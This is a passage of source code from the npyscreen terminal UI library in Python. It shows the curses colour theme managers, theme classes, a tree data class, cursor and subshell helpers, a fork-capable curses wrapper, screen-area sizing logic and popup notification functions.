19 | #(curses.COLOR_GREEN, (150,250,100)),
20 | )
21 |
22 |
23 | _colors_to_define = (
24 | # DO NOT DEFINE THE WHITE_BLACK COLOR - THINGS BREAK
25 | #('WHITE_BLACK', DO_NOT_DO_THIS, DO_NOT_DO_THIS),
26 | ('BLACK_WHITE', curses.COLOR_BLACK, curses.COLOR_WHITE),
27 | #('BLACK_ON_DEFAULT', curses.COLOR_BLACK, -1),
28 | #('WHITE_ON_DEFAULT', curses.COLOR_WHITE, -1),
29 | ('BLUE_BLACK', curses.COLOR_BLUE, curses.COLOR_BLACK),
30 | ('CYAN_BLACK', curses.COLOR_CYAN, curses.COLOR_BLACK),
31 | ('GREEN_BLACK', curses.COLOR_GREEN, curses.COLOR_BLACK),
32 | ('MAGENTA_BLACK', curses.COLOR_MAGENTA, curses.COLOR_BLACK),
33 | ('RED_BLACK', curses.COLOR_RED, curses.COLOR_BLACK),
34 | ('YELLOW_BLACK', curses.COLOR_YELLOW, curses.COLOR_BLACK),
35 | ('BLACK_RED', curses.COLOR_BLACK, curses.COLOR_RED),
36 | ('BLACK_GREEN', curses.COLOR_BLACK, curses.COLOR_GREEN),
37 | ('BLACK_YELLOW', curses.COLOR_BLACK, curses.COLOR_YELLOW),
38 | ('BLACK_CYAN', curses.COLOR_BLACK, curses.COLOR_CYAN),
39 | ('BLUE_WHITE', curses.COLOR_BLUE, curses.COLOR_WHITE),
40 | ('CYAN_WHITE', curses.COLOR_CYAN, curses.COLOR_WHITE),
41 | ('GREEN_WHITE', curses.COLOR_GREEN, curses.COLOR_WHITE),
42 | ('MAGENTA_WHITE', curses.COLOR_MAGENTA, curses.COLOR_WHITE),
43 | ('RED_WHITE', curses.COLOR_RED, curses.COLOR_WHITE),
44 | ('YELLOW_WHITE', curses.COLOR_YELLOW, curses.COLOR_WHITE),
45 | )
46 |
47 | default_colors = {
48 | 'DEFAULT' : 'WHITE_BLACK',
49 | 'FORMDEFAULT' : 'WHITE_BLACK',
50 | 'NO_EDIT' : 'BLUE_BLACK',
51 | 'STANDOUT' : 'CYAN_BLACK',
52 | 'CURSOR' : 'WHITE_BLACK',
53 | 'CURSOR_INVERSE': 'BLACK_WHITE',
54 | 'LABEL' : 'GREEN_BLACK',
55 | 'LABELBOLD' : 'WHITE_BLACK',
56 | 'CONTROL' : 'YELLOW_BLACK',
57 | 'IMPORTANT' : 'GREEN_BLACK',
58 | 'SAFE' : 'GREEN_BLACK',
59 | 'WARNING' : 'YELLOW_BLACK',
60 | 'DANGER' : 'RED_BLACK',
61 | 'CRITICAL' : 'BLACK_RED',
62 | 'GOOD' : 'GREEN_BLACK',
63 | 'GOODHL' : 'GREEN_BLACK',
64 | 'VERYGOOD' : 'BLACK_GREEN',
65 | 'CAUTION' : 'YELLOW_BLACK',
66 | 'CAUTIONHL' : 'BLACK_YELLOW',
67 | }
68 | def __init__(self):
69 | #curses.use_default_colors()
70 | self.define_colour_numbers()
71 | self._defined_pairs = {}
72 | self._names = {}
73 | try:
74 | self._max_pairs = curses.COLOR_PAIRS - 1
75 | do_color = True
76 | except AttributeError:
77 | # curses.start_color has failed or has not been called
78 | do_color = False
79 | # Disable all color use across the application
80 | disableColor()
81 | if do_color and curses.has_colors():
82 | self.initialize_pairs()
83 | self.initialize_names()
84 |
85 | def define_colour_numbers(self):
86 | if curses.can_change_color():
87 | for c in self._color_values:
88 | curses.init_color(c[0], *c[1])
89 |
90 |
91 | def findPair(self, caller, request='DEFAULT'):
92 | if not curses.has_colors() or npysGlobalOptions.DISABLE_ALL_COLORS:
93 | return False
94 |
95 | if request=='DEFAULT':
96 | request = caller.color
97 | # Locate the requested colour pair. Default to default if not found.
98 | try:
99 | pair = self._defined_pairs[self._names[request]]
100 | except:
101 | pair = self._defined_pairs[self._names['DEFAULT']]
102 |
103 | # now make the actual attribute
104 | color_attribute = curses.color_pair(pair[0])
105 |
106 | return color_attribute
107 |
108 | def setDefault(self, caller):
109 | return False
110 |
111 | def initialize_pairs(self):
112 | # White on Black is fixed as color_pair 0
113 | self._defined_pairs['WHITE_BLACK'] = (0, curses.COLOR_WHITE, curses.COLOR_BLACK)
114 | for cp in self.__class__._colors_to_define:
115 | if cp[0] == 'WHITE_BLACK':
116 | # silently protect the user from breaking things.
117 | continue
118 | self.initalize_pair(cp[0], cp[1], cp[2])
119 |
120 | def initialize_names(self):
121 | self._names.update(self.__class__.default_colors)
122 |
123 | def initalize_pair(self, name, fg, bg):
124 | # Initialize a color_pair for the required colour and return the number. Raise an exception if this is not possible.
125 | if (len(list(self._defined_pairs.keys()))+1) == self._max_pairs:
126 | raise Exception("Too many colours")
127 |
128 | _this_pair_number = len(list(self._defined_pairs.keys())) + 1
129 |
130 | curses.init_pair(_this_pair_number, fg, bg)
131 |
132 | self._defined_pairs[name] = (_this_pair_number, fg, bg)
133 |
134 | return _this_pair_number
135 |
136 | def get_pair_number(self, name):
137 | return self._defined_pairs[name][0]
138 |
--------------------------------------------------------------------------------
/npyscreen/npysThemes.py:
--------------------------------------------------------------------------------
1 | import curses
2 | from . import npysThemeManagers as ThemeManagers
3 |
4 | class DefaultTheme(ThemeManagers.ThemeManager):
5 | default_colors = {
6 | 'DEFAULT' : 'WHITE_BLACK',
7 | 'FORMDEFAULT' : 'WHITE_BLACK',
8 | 'NO_EDIT' : 'BLUE_BLACK',
9 | 'STANDOUT' : 'CYAN_BLACK',
10 | 'CURSOR' : 'WHITE_BLACK',
11 | 'CURSOR_INVERSE': 'BLACK_WHITE',
12 | 'LABEL' : 'GREEN_BLACK',
13 | 'LABELBOLD' : 'WHITE_BLACK',
14 | 'CONTROL' : 'YELLOW_BLACK',
15 | 'WARNING' : 'RED_BLACK',
16 | 'CRITICAL' : 'BLACK_RED',
17 | 'GOOD' : 'GREEN_BLACK',
18 | 'GOODHL' : 'GREEN_BLACK',
19 | 'VERYGOOD' : 'BLACK_GREEN',
20 | 'CAUTION' : 'YELLOW_BLACK',
21 | 'CAUTIONHL' : 'BLACK_YELLOW',
22 | }
23 |
24 | class ElegantTheme(ThemeManagers.ThemeManager):
25 | default_colors = {
26 | 'DEFAULT' : 'WHITE_BLACK',
27 | 'FORMDEFAULT' : 'WHITE_BLACK',
28 | 'NO_EDIT' : 'BLUE_BLACK',
29 | 'STANDOUT' : 'CYAN_BLACK',
30 | 'CURSOR' : 'CYAN_BLACK',
31 | 'CURSOR_INVERSE': 'BLACK_CYAN',
32 | 'LABEL' : 'GREEN_BLACK',
33 | 'LABELBOLD' : 'WHITE_BLACK',
34 | 'CONTROL' : 'YELLOW_BLACK',
35 | 'WARNING' : 'RED_BLACK',
36 | 'CRITICAL' : 'BLACK_RED',
37 | 'GOOD' : 'GREEN_BLACK',
38 | 'GOODHL' : 'GREEN_BLACK',
39 | 'VERYGOOD' : 'BLACK_GREEN',
40 | 'CAUTION' : 'YELLOW_BLACK',
41 | 'CAUTIONHL' : 'BLACK_YELLOW',
42 | }
43 |
44 |
45 | class ColorfulTheme(ThemeManagers.ThemeManager):
46 | default_colors = {
47 | 'DEFAULT' : 'RED_BLACK',
48 | 'FORMDEFAULT' : 'YELLOW_BLACK',
49 | 'NO_EDIT' : 'BLUE_BLACK',
50 | 'STANDOUT' : 'CYAN_BLACK',
51 | 'CURSOR' : 'WHITE_BLACK',
52 | 'CURSOR_INVERSE': 'BLACK_WHITE',
53 | 'LABEL' : 'BLUE_BLACK',
54 | 'LABELBOLD' : 'YELLOW_BLACK',
55 | 'CONTROL' : 'GREEN_BLACK',
56 | 'WARNING' : 'RED_BLACK',
57 | 'CRITICAL' : 'BLACK_RED',
58 | 'GOOD' : 'GREEN_BLACK',
59 | 'GOODHL' : 'GREEN_BLACK',
60 | 'VERYGOOD' : 'BLACK_GREEN',
61 | 'CAUTION' : 'YELLOW_BLACK',
62 | 'CAUTIONHL' : 'BLACK_YELLOW',
63 | }
64 |
65 | class BlackOnWhiteTheme(ThemeManagers.ThemeManager):
66 | default_colors = {
67 | 'DEFAULT' : 'BLACK_WHITE',
68 | 'FORMDEFAULT' : 'BLACK_WHITE',
69 | 'NO_EDIT' : 'BLUE_WHITE',
70 | 'STANDOUT' : 'CYAN_WHITE',
71 | 'CURSOR' : 'BLACK_WHITE',
72 | 'CURSOR_INVERSE': 'WHITE_BLACK',
73 | 'LABEL' : 'RED_WHITE',
74 | 'LABELBOLD' : 'BLACK_WHITE',
75 | 'CONTROL' : 'BLUE_WHITE',
76 | 'WARNING' : 'RED_WHITE',
77 | 'CRITICAL' : 'BLACK_RED',
78 | 'GOOD' : 'GREEN_BLACK',
79 | 'GOODHL' : 'GREEN_WHITE',
80 | 'VERYGOOD' : 'WHITE_GREEN',
81 | 'CAUTION' : 'YELLOW_WHITE',
82 | 'CAUTIONHL' : 'BLACK_YELLOW',
83 | }
84 |
85 | class TransparentThemeDarkText(ThemeManagers.ThemeManager):
86 | _colors_to_define = (
87 | ('BLACK_WHITE', curses.COLOR_BLACK, curses.COLOR_WHITE),
88 | ('BLUE_BLACK', curses.COLOR_BLUE, curses.COLOR_BLACK),
89 | ('CYAN_BLACK', curses.COLOR_CYAN, curses.COLOR_BLACK),
90 | ('GREEN_BLACK', curses.COLOR_GREEN, curses.COLOR_BLACK),
91 | ('MAGENTA_BLACK', curses.COLOR_MAGENTA, curses.COLOR_BLACK),
92 | ('RED_BLACK', curses.COLOR_RED, curses.COLOR_BLACK),
93 | ('YELLOW_BLACK', curses.COLOR_YELLOW, curses.COLOR_BLACK),
94 | ('BLACK_RED', curses.COLOR_BLACK, curses.COLOR_RED),
95 | ('BLACK_GREEN', curses.COLOR_BLACK, curses.COLOR_GREEN),
96 | ('BLACK_YELLOW', curses.COLOR_BLACK, curses.COLOR_YELLOW),
97 |
98 | ('BLUE_WHITE', curses.COLOR_BLUE, curses.COLOR_WHITE),
99 | ('CYAN_WHITE', curses.COLOR_CYAN, curses.COLOR_WHITE),
100 | ('GREEN_WHITE', curses.COLOR_GREEN, curses.COLOR_WHITE),
101 | ('MAGENTA_WHITE', curses.COLOR_MAGENTA, curses.COLOR_WHITE),
102 | ('RED_WHITE', curses.COLOR_RED, curses.COLOR_WHITE),
103 | ('YELLOW_WHITE', curses.COLOR_YELLOW, curses.COLOR_WHITE),
104 |
105 | ('BLACK_ON_DEFAULT', curses.COLOR_BLACK, -1),
106 | ('WHITE_ON_DEFAULT', curses.COLOR_WHITE, -1),
107 | ('BLUE_ON_DEFAULT', curses.COLOR_BLUE, -1),
108 | ('CYAN_ON_DEFAULT', curses.COLOR_CYAN, -1),
109 | ('GREEN_ON_DEFAULT', curses.COLOR_GREEN, -1),
110 | ('MAGENTA_ON_DEFAULT', curses.COLOR_MAGENTA, -1),
111 | ('RED_ON_DEFAULT', curses.COLOR_RED, -1),
112 | ('YELLOW_ON_DEFAULT', curses.COLOR_YELLOW, -1),
113 | )
114 |
115 | default_colors = {
116 | 'DEFAULT' : 'BLACK_ON_DEFAULT',
117 | 'FORMDEFAULT' : 'BLACK_ON_DEFAULT',
118 | 'NO_EDIT' : 'BLUE_ON_DEFAULT',
119 | 'STANDOUT' : 'CYAN_ON_DEFAULT',
120 | 'CURSOR' : 'BLACK_WHITE',
121 | 'CURSOR_INVERSE': 'WHITE_BLACK',
122 | 'LABEL' : 'RED_ON_DEFAULT',
123 | 'LABELBOLD' : 'BLACK_ON_DEFAULT',
124 | 'CONTROL' : 'BLUE_ON_DEFAULT',
125 | 'WARNING' : 'RED_WHITE',
126 | 'CRITICAL' : 'BLACK_RED',
127 | 'GOOD' : 'GREEN_BLACK',
128 | 'GOODHL' : 'GREEN_WHITE',
129 | 'VERYGOOD' : 'WHITE_GREEN',
130 | 'CAUTION' : 'YELLOW_WHITE',
131 | 'CAUTIONHL' : 'BLACK_YELLOW',
132 | }
133 |
134 |
135 | def __init__(self, *args, **keywords):
136 | curses.use_default_colors()
137 | super(TransparentThemeDarkText, self).__init__(*args, **keywords)
138 |
139 | class TransparentThemeLightText(TransparentThemeDarkText):
140 | default_colors = {
141 | 'DEFAULT' : 'WHITE_ON_DEFAULT',
142 | 'FORMDEFAULT' : 'WHITE_ON_DEFAULT',
143 | 'NO_EDIT' : 'BLUE_ON_DEFAULT',
144 | 'STANDOUT' : 'CYAN_ON_DEFAULT',
145 | 'CURSOR' : 'WHITE_BLACK',
146 | 'CURSOR_INVERSE': 'BLACK_WHITE',
147 | 'LABEL' : 'RED_ON_DEFAULT',
148 | 'LABELBOLD' : 'BLACK_ON_DEFAULT',
149 | 'CONTROL' : 'BLUE_ON_DEFAULT',
150 | 'WARNING' : 'RED_BLACK',
151 | 'CRITICAL' : 'BLACK_RED',
152 | 'GOOD' : 'GREEN_BLACK',
153 | 'GOODHL' : 'GREEN_BLACK',
154 | 'VERYGOOD' : 'BLACK_GREEN',
155 | 'CAUTION' : 'YELLOW_BLACK',
156 | 'CAUTIONHL' : 'BLACK_YELLOW',
157 | }
158 |
159 |
--------------------------------------------------------------------------------
/npyscreen/npysTree.py:
--------------------------------------------------------------------------------
1 | import weakref
2 | import collections
3 |
4 | class TreeData(object):
5 | # This is a new version of NPSTreeData that follows PEP8.
6 | CHILDCLASS = None
7 | def __init__(self, content=None, parent=None, selected=False, selectable=True,
8 | highlight=False, expanded=True, ignore_root=True, sort_function=None):
9 | self.set_parent(parent)
10 | self.set_content(content)
11 | self.selectable = selectable
12 | self.selected = selected
13 | self.highlight = highlight
14 | self.expanded = expanded
15 | self._children = []
16 | self.ignore_root = ignore_root
17 | self.sort = False
18 | self.sort_function = sort_function
19 | self.sort_function_wrapper = True
20 |
21 |
22 | def get_content(self):
23 | return self.content
24 |
25 | def get_content_for_display(self):
26 | return str(self.content)
27 |
28 | def set_content(self, content):
29 | self.content = content
30 |
31 | def is_selected(self):
32 | return self.selected
33 |
34 | def is_highlighted(self):
35 | return self.highlight
36 |
37 | def set_parent(self, parent):
38 | if parent == None:
39 | self._parent = None
40 | else:
41 | self._parent = weakref.proxy(parent)
42 |
43 | def get_parent(self):
44 | return self._parent
45 |
46 |
47 | def find_depth(self, d=0):
48 | parent = self.get_parent()
49 | while parent:
50 | d += 1
51 | parent = parent.get_parent()
52 | return d
53 | # Recursive
54 | #if self._parent == None:
55 | # return d
56 | #else:
57 | # return(self._parent.findDepth(d+1))
58 |
59 | def is_last_sibling(self):
60 | if self.get_parent():
61 | if list(self.get_parent().get_children())[-1] == self:
62 | return True
63 | else:
64 | return False
65 | else:
66 | return None
67 |
68 | def has_children(self):
69 | if len(self._children) > 0:
70 | return True
71 | else:
72 | return False
73 |
74 | def get_children(self):
75 | for c in self._children:
76 | try:
77 | yield weakref.proxy(c)
78 | except:
79 | yield c
80 |
81 | def get_children_objects(self):
82 | return self._children[:]
83 |
84 | def _get_children_list(self):
85 | return self._children
86 |
87 | def new_child(self, *args, **keywords):
88 | if self.CHILDCLASS:
89 | cld = self.CHILDCLASS
90 | else:
91 | cld = type(self)
92 | c = cld(parent=self, *args, **keywords)
93 | self._children.append(c)
94 | return weakref.proxy(c)
95 |
96 | def remove_child(self, child):
97 | new_children = []
98 | for ch in self._children:
99 | # do it this way because of weakref equality bug.
100 | if not ch.get_content() == child.get_content():
101 | new_children.append(ch)
102 | else:
103 | ch.set_parent(None)
104 | self._children = new_children
105 |
106 |
107 | def create_wrapped_sort_function(self, this_function):
108 | def new_function(the_item):
109 | if the_item:
110 | the_real_item = the_item.get_content()
111 | return this_function(the_real_item)
112 | else:
113 | return the_item
114 | return new_function
115 |
116 | def walk_parents(self):
117 | p = self.get_parent()
118 | while p:
119 | yield p
120 | p = p.get_parent()
121 |
122 | def walk_tree(self, only_expanded=True, ignore_root=True, sort=None, sort_function=None):
123 | #Iterate over Tree
124 | if sort is None:
125 | sort = self.sort
126 |
127 | if sort_function is None:
128 | sort_function = self.sort_function
129 |
130 | # example sort function # sort = True
131 | # example sort function # def sort_function(the_item):
132 | # example sort function # import email.utils
133 | # example sort function # if the_item:
134 | # example sort function # if the_item.getContent():
135 | # example sort function # frm = the_item.getContent().get('from')
136 | # example sort function # try:
137 | # example sort function # frm = email.utils.parseaddr(frm)[0]
138 | # example sort function # except:
139 | # example sort function # pass
140 | # example sort function # return frm
141 | # example sort function # else:
142 | # example sort function # return the_item
143 | #key = operator.methodcaller('getContent',)
144 |
145 | if self.sort_function_wrapper and sort_function:
146 | # def wrapped_sort_function(the_item):
147 | # if the_item:
148 | # the_real_item = the_item.getContent()
149 | # return sort_function(the_real_item)
150 | # else:
151 | # return the_item
152 | # _this_sort_function = wrapped_sort_function
153 | _this_sort_function = self.create_wrapped_sort_function(sort_function)
154 | else:
155 | _this_sort_function = sort_function
156 |
157 | key = _this_sort_function
158 | if not ignore_root:
159 | yield self
160 | nodes_to_yield = collections.deque() # better memory management than a list for pop(0)
161 | if self.expanded or not only_expanded:
162 | if sort:
163 | # This and the similar block below could be combined into a nested function
164 | if key:
165 | nodes_to_yield.extend(sorted(self.get_children(), key=key,))
166 | else:
167 | nodes_to_yield.extend(sorted(self.get_children()))
168 | else:
169 | nodes_to_yield.extend(self.get_children())
170 | while nodes_to_yield:
171 | child = nodes_to_yield.popleft()
172 | if child.expanded or not only_expanded:
173 | # This and the similar block above could be combined into a nested function
174 | if sort:
175 | if key:
176 | # must be reverse because about to use extendleft() below.
177 | nodes_to_yield.extendleft(sorted(child.get_children(), key=key, reverse=True))
178 | else:
179 | nodes_to_yield.extendleft(sorted(child.get_children(), reverse=True))
180 | else:
181 | #for node in child.getChildren():
182 | # if node not in nodes_to_yield:
183 | # nodes_to_yield.appendleft(node)
184 | yield_these = list(child.get_children())
185 | yield_these.reverse()
186 | nodes_to_yield.extendleft(yield_these)
187 | del yield_these
188 | yield child
189 |
190 | def get_tree_as_list(self, only_expanded=True, sort=None, key=None):
191 | _a = []
192 | for node in self.walk_tree(only_expanded=only_expanded, ignore_root=self.ignore_root, sort=sort):
193 | try:
194 | _a.append(weakref.proxy(node))
195 | except:
196 | _a.append(node)
197 | return _a
198 |
--------------------------------------------------------------------------------
/npyscreen/npyspmfuncs.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import curses
4 | import os
5 |
6 | class ResizeError(Exception):
7 | "The screen has been resized"
8 |
9 | def hidecursor():
10 | try:
11 | curses.curs_set(0)
12 | except:
13 | pass
14 |
15 | def showcursor():
16 | try:
17 | curses.curs_set(1)
18 | except:
19 | pass
20 |
21 | def CallSubShell(subshell):
22 | """Call this function if you need to execute an external command in a subshell (os.system). All the usual warnings apply -- the command line will be
23 | expanded by the shell, so make sure it is safe before passing it to this function."""
24 | curses.def_prog_mode()
25 | #curses.endwin() # Probably causes a memory leak.
26 |
27 | rtn = os.system("%s" % (subshell))
28 | curses.reset_prog_mode()
29 | if rtn is not 0: return False
30 | else: return True
31 |
32 | curses.reset_prog_mode()
33 |
34 | hide_cursor = hidecursor
35 | show_cursor = showcursor
36 |
--------------------------------------------------------------------------------
/npyscreen/npyssafewrapper.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | import curses
4 | import _curses
5 | #import curses.wrapper
6 | import locale
7 | import os
8 | #import pty
9 | import subprocess
10 | import sys
11 | import warnings
12 |
13 | _NEVER_RUN_INITSCR = True
14 | _SCREEN = None
15 |
16 | def wrapper_basic(call_function):
17 | #set the locale properly
18 | locale.setlocale(locale.LC_ALL, '')
19 | return curses.wrapper(call_function)
20 |
21 | #def wrapper(call_function):
22 | # locale.setlocale(locale.LC_ALL, '')
23 | # screen = curses.initscr()
24 | # curses.noecho()
25 | # curses.cbreak()
26 | #
27 | # return_code = call_function(screen)
28 | #
29 | # curses.nocbreak()
30 | # curses.echo()
31 | # curses.endwin()
32 |
33 | def wrapper(call_function, fork=None, reset=True):
34 | global _NEVER_RUN_INITSCR
35 | if fork:
36 | wrapper_fork(call_function, reset=reset)
37 | elif fork == False:
38 | wrapper_no_fork(call_function)
39 | else:
40 | if _NEVER_RUN_INITSCR:
41 | wrapper_no_fork(call_function)
42 | else:
43 | wrapper_fork(call_function, reset=reset)
44 |
45 | def wrapper_fork(call_function, reset=True):
46 | pid = os.fork()
47 | if pid:
48 | # Parent
49 | os.waitpid(pid, 0)
50 | if reset:
51 | external_reset()
52 | else:
53 | locale.setlocale(locale.LC_ALL, '')
54 | _SCREEN = curses.initscr()
55 | try:
56 | curses.start_color()
57 | except:
58 | pass
59 | _SCREEN.keypad(1)
60 | curses.noecho()
61 | curses.cbreak()
62 | curses.def_prog_mode()
63 | curses.reset_prog_mode()
64 | return_code = call_function(_SCREEN)
65 | _SCREEN.keypad(0)
66 | curses.echo()
67 | curses.nocbreak()
68 | curses.endwin()
69 | sys.exit(0)
70 |
71 | def external_reset():
72 | subprocess.call(['reset', '-Q'])
73 |
74 | def wrapper_no_fork(call_function, reset=False):
75 | global _NEVER_RUN_INITSCR
76 | if not _NEVER_RUN_INITSCR:
77 | warnings.warn("""Repeated calls of endwin may cause a memory leak. Use wrapper_fork to avoid.""")
78 | global _SCREEN
79 | return_code = None
80 | if _NEVER_RUN_INITSCR:
81 | _NEVER_RUN_INITSCR = False
82 | locale.setlocale(locale.LC_ALL, '')
83 | _SCREEN = curses.initscr()
84 | try:
85 | curses.start_color()
86 | except:
87 | pass
88 | curses.noecho()
89 | curses.cbreak()
90 | _SCREEN.keypad(1)
91 |
92 | curses.noecho()
93 | curses.cbreak()
94 | _SCREEN.keypad(1)
95 |
96 | try:
97 | return_code = call_function(_SCREEN)
98 | finally:
99 | _SCREEN.keypad(0)
100 | curses.echo()
101 | curses.nocbreak()
102 | # Calling endwin() and then refreshing seems to cause a memory leak.
103 | curses.endwin()
104 | if reset:
105 | external_reset()
106 | return return_code
107 |
--------------------------------------------------------------------------------
/npyscreen/proto_fm_screen_area.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import curses
4 | import curses.panel
5 | #import curses.wrapper
6 | from . import npyspmfuncs as pmfuncs
7 | import os
8 | from . import npysThemeManagers as ThemeManagers
9 |
10 |
11 | # For more complex method of getting the size of screen
12 | try:
13 | import fcntl, termios, struct, sys
14 | except:
15 | # Win32 platforms do not have fcntl
16 | pass
17 |
18 |
19 | APPLICATION_THEME_MANAGER = None
20 |
21 | def setTheme(theme):
22 | global APPLICATION_THEME_MANAGER
23 | APPLICATION_THEME_MANAGER = theme()
24 |
25 | def getTheme():
26 | return APPLICATION_THEME_MANAGER
27 |
28 |
29 |
30 | class ScreenArea(object):
31 | BLANK_LINES_BASE =0
32 | BLANK_COLUMNS_RIGHT=0
33 | DEFAULT_NEXTRELY=2
34 | DEFAULT_LINES = 0
35 | DEFAULT_COLUMNS = 0
36 | SHOW_ATX = 0
37 | SHOW_ATY = 0
38 |
39 | """A screen area that can be safely resized. But this is a low-level class, not the
40 | object you are looking for."""
41 |
42 | def __init__(self, lines=0, columns=0,
43 | minimum_lines = 24,
44 | minimum_columns = 80,
45 | show_atx = 0,
46 | show_aty = 0,
47 | **keywords):
48 |
49 |
50 | # Putting a default in here will override the system in _create_screen. For testing?
51 | if not lines:
52 | lines = self.__class__.DEFAULT_LINES
53 | if not columns:
54 | columns = self.__class__.DEFAULT_COLUMNS
55 |
56 | if lines: minimum_lines = lines
57 | if columns: minimum_columns = columns
58 |
59 | self.lines = lines #or 25
60 | self.columns = columns #or 80
61 |
62 | self.min_l = minimum_lines
63 | self.min_c = minimum_columns
64 |
65 | # Panels can be bigger than the screen area. These two variables
66 | # set which bit of the panel should be visible.
67 | # ie. They are about the virtual, not the physical, screen.
68 | self.show_from_y = 0
69 | self.show_from_x = 0
70 | self.show_atx = show_atx or self.__class__.SHOW_ATX
71 | self.show_aty = show_aty or self.__class__.SHOW_ATY
72 | self.ALL_SHOWN = False
73 |
74 | global APPLICATION_THEME_MANAGER
75 | if APPLICATION_THEME_MANAGER is None:
76 | self.theme_manager = ThemeManagers.ThemeManager()
77 | else:
78 | self.theme_manager = APPLICATION_THEME_MANAGER
79 |
80 | self.keypress_timeout = None
81 |
82 |
83 | self._create_screen()
84 |
85 | def _create_screen(self):
86 |
87 | try:
88 | if self.lines_were_auto_set: self.lines = None
89 | if self.cols_were_auto_set: self.columns = None
90 | except: pass
91 |
92 |
93 | if not self.lines:
94 | self.lines = self._max_physical()[0]+1
95 | self.lines_were_auto_set = True
96 | if not self.columns:
97 | self.columns = self._max_physical()[1]+1
98 | self.cols_were_auto_set = True
99 |
100 | if self.min_l > self.lines:
101 | self.lines = self.min_l
102 |
103 | if self.min_c > self.columns:
104 | self.columns = self.min_c
105 |
106 | #self.area = curses.newpad(self.lines, self.columns)
107 | self.curses_pad = curses.newpad(self.lines, self.columns)
108 | #self.max_y, self.max_x = self.lines, self.columns
109 | self.max_y, self.max_x = self.curses_pad.getmaxyx()
110 |
111 | def _max_physical(self):
112 | "How big is the physical screen?"
113 | # On OS X newwin does not correctly get the size of the screen.
114 | # let's see how big we could be: create a temp screen
115 | # and see the size curses makes it. No good to keep, though
116 | try:
117 | mxy, mxx = struct.unpack('hh', fcntl.ioctl(sys.stderr.fileno(), termios.TIOCGWINSZ, 'xxxx'))
118 | if (mxy, mxx) == (0,0):
119 | raise ValueError
120 | except (ValueError, NameError):
121 | mxy, mxx = curses.newwin(0,0).getmaxyx()
122 |
123 | # return safe values, i.e. slightly smaller.
124 | return (mxy-1, mxx-1)
125 |
126 | def useable_space(self, rely=0, relx=0):
127 | mxy, mxx = self.lines, self.columns
128 | return (mxy-rely, mxx-1-relx) # x - 1 because can't use last line bottom right.
129 |
130 | def widget_useable_space(self, rely=0, relx=0):
131 | #Slightly misreports space available.
132 | #mxy, mxx = self.lines, self.columns-1
133 | mxy, mxx = self.useable_space(rely=rely, relx=relx)
134 | return (mxy-self.BLANK_LINES_BASE, mxx-self.BLANK_COLUMNS_RIGHT)
135 |
136 | def refresh(self):
137 | pmfuncs.hide_cursor()
138 | _my, _mx = self._max_physical()
139 | self.curses_pad.move(0,0)
140 |
141 | # Since we can have pannels larger than the screen
142 | # let's allow for scrolling them
143 |
144 | # Getting strange errors on OS X, with curses sometimes crashing at this point.
145 | # Suspect screen size not updated in time. This try: seems to solve it with no ill effects.
146 | try:
147 | self.curses_pad.refresh(self.show_from_y,self.show_from_x,self.show_aty,self.show_atx,_my,_mx)
148 | except curses.error:
149 | pass
150 | if self.show_from_y is 0 and \
151 | self.show_from_x is 0 and \
152 | (_my >= self.lines) and \
153 | (_mx >= self.columns):
154 | self.ALL_SHOWN = True
155 |
156 | else:
157 | self.ALL_SHOWN = False
158 |
159 | def erase(self):
160 | self.curses_pad.erase()
161 | self.refresh()
162 |
163 |
--------------------------------------------------------------------------------
/npyscreen/utilNotify.py:
--------------------------------------------------------------------------------
1 | from . import fmPopup
2 | from . import wgmultiline
3 | from . import fmPopup
4 | import curses
5 | import textwrap
6 |
7 | class ConfirmCancelPopup(fmPopup.ActionPopup):
8 | def on_ok(self):
9 | self.value = True
10 | def on_cancel(self):
11 | self.value = False
12 |
13 | class YesNoPopup(ConfirmCancelPopup):
14 | OK_BUTTON_TEXT = "Yes"
15 | CANCEL_BUTTON_TEXT = "No"
16 |
17 | def _prepare_message(message):
18 | if isinstance(message, list) or isinstance(message, tuple):
19 | return "\n".join([ s.rstrip() for s in message])
20 | #return "\n".join(message)
21 | else:
22 | return message
23 |
24 | def _wrap_message_lines(message, line_length):
25 | lines = []
26 | for line in message.split('\n'):
27 | lines.extend(textwrap.wrap(line.rstrip(), line_length))
28 | return lines
29 |
30 | def notify(message, title="Message", form_color='STANDOUT',
31 | wrap=True, wide=False,
32 | ):
33 | message = _prepare_message(message)
34 | if wide:
35 | F = fmPopup.PopupWide(name=title, color=form_color)
36 | else:
37 | F = fmPopup.Popup(name=title, color=form_color)
38 | F.preserve_selected_widget = True
39 | mlw = F.add(wgmultiline.Pager,)
40 | mlw_width = mlw.width-1
41 | if wrap:
42 | message = _wrap_message_lines(message, mlw_width)
43 | mlw.values = message
44 | F.display()
45 |
46 | def notify_confirm(message, title="Message", form_color='STANDOUT', wrap=True, wide=False,
47 | editw = 0,):
48 | message = _prepare_message(message)
49 | if wide:
50 | F = fmPopup.PopupWide(name=title, color=form_color)
51 | else:
52 | F = fmPopup.Popup(name=title, color=form_color)
53 | F.preserve_selected_widget = True
54 | mlw = F.add(wgmultiline.Pager,)
55 | mlw_width = mlw.width-1
56 | if wrap:
57 | message = _wrap_message_lines(message, mlw_width)
58 | else:
59 | message = message.split("\n")
60 | mlw.values = message
61 | F.editw = editw
62 | F.edit()
63 |
64 | def notify_wait(*args, **keywords):
65 | notify(*args, **keywords)
66 | curses.napms(3000)
67 | curses.flushinp()
68 |
69 |
70 | def notify_ok_cancel(message, title="Message", form_color='STANDOUT', wrap=True, editw = 0,):
71 | message = _prepare_message(message)
72 | F = ConfirmCancelPopup(name=title, color=form_color)
73 | F.preserve_selected_widget = True
74 | mlw = F.add(wgmultiline.Pager,)
75 | mlw_width = mlw.width-1
76 | if wrap:
77 | message = _wrap_message_lines(message, mlw_width)
78 | mlw.values = message
79 | F.editw = editw
80 | F.edit()
81 | return F.value
82 |
83 | def notify_yes_no(message, title="Message", form_color='STANDOUT', wrap=True, editw = 0,):
84 | message = _prepare_message(message)
85 | F = YesNoPopup(name=title, color=form_color)
86 | F.preserve_selected_widget = True
87 | mlw = F.add(wgmultiline.Pager,)
88 | mlw_width = mlw.width-1
89 | if wrap:
90 | message = _wrap_message_lines(message, mlw_width)
91 | mlw.values = message
92 | F.editw = editw
93 | F.edit()
94 | return F.value
95 |
96 |
--------------------------------------------------------------------------------
/npyscreen/util_viewhelp.py:
--------------------------------------------------------------------------------
1 | import textwrap
2 |
3 |
4 | def view_help(message, title="Message", form_color="STANDOUT", scroll_exit=False, autowrap=False):
